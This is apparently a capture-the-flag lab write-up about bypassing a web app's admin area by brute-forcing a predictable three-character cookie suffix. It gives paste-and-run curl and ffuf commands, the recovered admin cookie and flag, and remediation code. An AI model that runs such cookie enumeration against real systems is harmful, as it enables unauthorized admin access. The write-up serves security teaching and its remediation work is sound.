BugForge — 2026.04.18

Gift Lab: Admin Bypass via Predictable adminAccessToken Cookie

BugForge Broken Access Control medium

Overview

  • Platform: BugForge
  • Vulnerability: Admin authorization bypass via predictable adminAccessToken cookie
  • Key Technique: Compared the cookie across users and logins to reveal a fixed 12-char prefix + 3-char [a-z] suffix; brute-forced the 3-char suffix against /administrator (no rate limiting) to recover the admin’s full cookie.
  • Result: Recovered adminAccessToken=n0MqjBXna9A4rls, accessed /administrator, captured the flag — no admin password or /admin-login code required.

Objective

Capture the lab flag hidden inside the Gift Lab administrator area.

Initial Access

# Target Application
URL: https://lab-1776468530011-w4zlnm.labs-app.bugforge.io

# Auth details
POST /register  → username / password / confirmPassword (self-service, no seeded creds)
POST /login     → sets `token` (JWT HS256, 2h) AND `adminAccessToken` cookies
Registered users: haxor (id=1), haxor2 (id=2)

Key Findings

  1. Predictable adminAccessToken cookie (CWE-330, CWE-285) — Every /login sets an extra cookie adminAccessToken of shape n0MqjBXna9A4<xxx>. The 12-char prefix is identical for every user and every login. Only the 3-char lowercase suffix varies. The admin’s value is a single fixed string.
  2. Oracle in the “Access Denied” page (CWE-209)/administrator with a wrong cookie returns a 200 page naming the exact cookie being checked: “You don’t have the correct adminAccessToken for this area.” Removes a discovery step entirely.
  3. No rate limiting on /administrator — 17,000+ requests at 100 rps across 40 threads passed with no 429, throttling, or lockout. The entire [a-z]³ suffix space is trivially enumerable.

Attack Chain Visualization

┌─────────────┐   ┌────────────────────┐   ┌─────────────────────┐   ┌──────────────────┐
│  Register   │──▶│  Login → observe   │──▶│  Discover           │──▶│  Brute-force     │
│  haxor /    │   │  adminAccessToken  │   │  /administrator     │   │  3-char [a-z]³   │
│  haxor2     │   │  = prefix(12) +    │   │  via ffuf raft-     │   │  suffix against  │
│             │   │  suffix(3,[a-z])   │   │  medium dirs        │   │  /administrator  │
└─────────────┘   └────────────────────┘   └─────────────────────┘   └──────────────────┘
                                                                              │
                                                                              ▼
                                                             ┌────────────────────────────┐
                                                             │  Single hit: suffix=rls    │
                                                             │  → admin cookie recovered  │
                                                             │  → /administrator renders  │
                                                             │  → flag captured           │
                                                             └────────────────────────────┘

Application Architecture

Component Path Description
Backend Express (Node.js), EJS templating
Session token cookie JWT HS256, payload {id, username, iat, exp}, 2h TTL
User dashboard GET /dashboard List index (JWT protected)
Admin step-up POST /admin-login code field — separate secret, not the cookie value
Admin area GET /administrator Gated by adminAccessToken cookie match

Exploitation Path

Note on commands. Testing was performed in Caido (request capture, replay, automate). The curl / ffuf commands below are a faithful written form of the same requests, intended to be paste-and-run reproducible without a proxy. Only ffuf (Step 4) was run from the shell directly.

Step 1: Compare adminAccessToken across users and logins

Register two users, log each in, log one of them in twice, and diff the cookies. Two minutes of work that made the entire finding.

curl -sk -c haxor.txt   -d "username=haxor&password=password&confirmPassword=password"   https://lab-.../register
curl -sk -c haxor.txt   -d "username=haxor&password=password"                            https://lab-.../login

curl -sk -c haxor2A.txt -d "username=haxor2&password=password&confirmPassword=password"  https://lab-.../register
curl -sk -c haxor2A.txt -d "username=haxor2&password=password"                           https://lab-.../login
curl -sk -c haxor2B.txt -d "username=haxor2&password=password"                           https://lab-.../login

grep adminAccessToken haxor.txt haxor2A.txt haxor2B.txt
Session adminAccessToken
haxor (id=1) n0MqjBXna9A4efr
haxor2 (id=2), login A n0MqjBXna9A4wmi
haxor2 (id=2), login B n0MqjBXna9A4pps

12-character prefix identical; 3-char [a-z] suffix changes per login (not per user), so it’s random at issue time, not identity-bound.

Step 2: Confirm the target and the oracle

GET /administrator HTTP/1.1
Cookie: token=<haxor jwt>; adminAccessToken=n0MqjBXna9A4efr

Response: 200 OK, 7889 bytes, body contains “You don’t have the correct adminAccessToken for this area.” The error message names the exact cookie being checked and gives a clean negative baseline (7889 bytes) for filtering the brute force.

Step 3: Rule out the easy path at /admin-login

Before committing to brute force, verify /admin-login’s code field isn’t just the cookie value:

POST /admin-login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

code=n0MqjBXna9A4efr

Response: 302 /admin-login?error=wrong — identical to code=1234. The code is a separate secret. Cookie-as-code ruled out.

Step 4: Brute-force the 3-character suffix

Search space: [a-z]³ = 17,576 candidates. Filter out the “Access Denied” baseline by response size.

python3 -c "
import string, itertools
for c in itertools.product(string.ascii_lowercase, repeat=3):
    print(''.join(c))
" > suffix_az.txt

ffuf -u "https://lab-.../administrator" \
     -w suffix_az.txt:FUZZ \
     -H "Cookie: token=<haxor jwt>; adminAccessToken=n0MqjBXna9A4FUZZ" \
     -fs 7889 \
     -fr "Access Denied" \
     -rate 100 -t 40

Single hit:

rls  [Status: 200, Size: 7791, Words: 412, Lines: 180]

Full admin cookie: n0MqjBXna9A4rls. Zero throttling across the entire run.

Step 5: Flag capture

GET /administrator HTTP/1.1
Cookie: token=<haxor jwt>; adminAccessToken=n0MqjBXna9A4rls

Response: 200 OK, Administrator Panel rendered, flag displayed.


Flag / Objective Achieved

bug{AjBEMnwD5WmgD1QowIbQ0dqPcKBB2PyG}

Key Learnings

  • Diff auth cookies across users and across logins before anything else. Two minutes of comparison exposed a structural defect (shared prefix + tiny random suffix) that made the rest of the attack trivial. Belongs permanently in the early recon checklist for any app that sets more than one cookie on login.
  • Error messages that name the mechanism being checked are vulnerabilities, not UX. The “Access Denied” page named adminAccessToken explicitly. Without that, going from “weird cookie” to “this is what gates the admin page” would have required guesswork or source access.
  • Try the easy hypothesis first, but stop quickly when it fails. Testing cookie-as-code at /admin-login before committing to a 17K-request brute force cost one request and cleanly ruled out the simpler path.
  • Rate limiting is load-bearing, not a nice-to-have. It would have turned a 3-minute brute force into a multi-day operation with obvious signal. Its total absence here is a finding in its own right.

Failed Approaches

Approach Result Why It Failed
code=1234 at /admin-login 302 error=wrong Used as a control — baseline for the “wrong code” response
code=n0MqjBXna9A4efr (cookie-as-code) at /admin-login 302 error=wrong code is a separate secret, not derivable from the cookie
Prefix-alone (code=n0MqjBXna9A4) at /admin-login Not attempted If the prefix alone were the code, the suffix would serve no purpose
ffuf against /admin* only Missed /administrator Admin area lives at /administrator; required a broader directory list

Tools Used

Tool Purpose
Caido HTTP proxy — login capture, cookie comparison, replay
ffuf Directory fuzzing (raft-medium-directories.txt); 3-char suffix brute force
curl Cookie comparison across accounts and logins

Remediation

Issue: Every /login issues a cookie whose 12-char public prefix is handed to every user, leaving only 3 chars (~14 bits) of entropy — brute-forceable in minutes against an unrate-limited endpoint.

CWE References: CWE-330 (Use of Insufficiently Random Values), CWE-285 (Improper Authorization)

Fix:

// BEFORE (Vulnerable) — login handler
app.post('/login', async (req, res) => {
  const user = await authenticate(req.body.username, req.body.password);
  if (!user) return res.redirect('/login?error=wrong');

  const jwt = signJwt({ id: user.id, username: user.username });
  res.cookie('token', jwt, { httpOnly: true });

  // ↓↓↓ Hands out the admin token's public prefix to every login.
  const suffix = randomSuffix(3, 'abcdefghijklmnopqrstuvwxyz'); // 17,576 values
  res.cookie('adminAccessToken', 'n0MqjBXna9A4' + suffix);

  return res.redirect('/dashboard');
});

// AFTER (Secure) — admin cookie only issued after admin-login, full entropy
app.post('/login', async (req, res) => {
  const user = await authenticate(req.body.username, req.body.password);
  if (!user) return res.redirect('/login?error=wrong');
  const jwt = signJwt({ id: user.id, username: user.username });
  res.cookie('token', jwt, { httpOnly: true, secure: true, sameSite: 'lax' });
  return res.redirect('/dashboard');
});

app.post('/admin-login', async (req, res) => {
  const session = await authenticateJwt(req.cookies.token);
  if (!session || session.role !== 'admin') return res.redirect('/admin-login?error=wrong');
  if (req.body.code !== process.env.ADMIN_STEP_UP_CODE) {
    return res.redirect('/admin-login?error=wrong');
  }

  const adminToken = crypto.randomBytes(32).toString('base64url'); // 256 bits
  await storeAdminToken(session.id, adminToken, { ttlMinutes: 15 });
  res.cookie('adminAccessToken', adminToken, {
    httpOnly: true, secure: true, sameSite: 'strict', path: '/administrator',
  });
  return res.redirect('/administrator');
});

Issue: /administrator compares the cookie to a single hardcoded admin string, so a successful guess grants persistent access forever.

Fix:

// BEFORE (Vulnerable)
app.get('/administrator', (req, res) => {
  if (req.cookies.adminAccessToken !== 'n0MqjBXna9A4rls') {
    return res.status(200).render('access-denied'); // oracle — names the cookie
  }
  return res.render('administrator', { flag: FLAG });
});

// AFTER (Secure) — lookup tied to JWT user id
app.get('/administrator', requireJwt, async (req, res) => {
  const adminSession = await adminSessions.findValid({
    token: req.cookies.adminAccessToken,
    userId: req.user.id,
  });
  if (!adminSession || req.user.role !== 'admin') {
    return res.status(404).render('404'); // generic, no oracle
  }
  return res.render('administrator', { flag: FLAG });
});

3. Remove the oracle from the “Access Denied” page (CVSS 4.3 — Medium)

Issue: The error body names the cookie being checked, telling an attacker exactly what to target.

CWE Reference: CWE-209 (Generation of Error Message Containing Sensitive Information)

Fix:

<!-- BEFORE (Vulnerable) -->
<p>You don't have the correct <strong>adminAccessToken</strong> for this area.</p>

<!-- AFTER (Secure) -->
<h1>404 — Not Found</h1>

4. Rate-limit /administrator

Add per-IP and per-JWT rate limiting with lockout. Even with the structural flaw in place, a limit of a few dozen failed attempts per hour would turn a 3-minute brute force into a multi-day campaign with obvious detection signal (express-rate-limit, reverse-proxy rule, or WAF).


OWASP Top 10 Coverage

  • A01:2021 — Broken Access Control — Admin area gated by a cookie whose structure leaks the majority of the admin’s secret to every registered user. Effective access control = 3 chars of entropy.
  • A02:2021 — Cryptographic Failures — ~14 bits of effective entropy on an auth token is well below any acceptable threshold.
  • A04:2021 — Insecure Design — Handing the admin token’s public prefix to every user is a structural defect, not a line-of-code bug.
  • A09:2021 — Security Logging and Monitoring Failures — 17K+ requests against a single admin URL produced no throttling or alerting.

References


Tags: #broken-access-control #weak-randomness #cookie-prediction #admin-bypass #brute-force #bugforge #webapp Document Version: 1.0 Last Updated: 2026-04-18

#broken-access-control #weak-randomness #cookie-prediction #admin-bypass #brute-force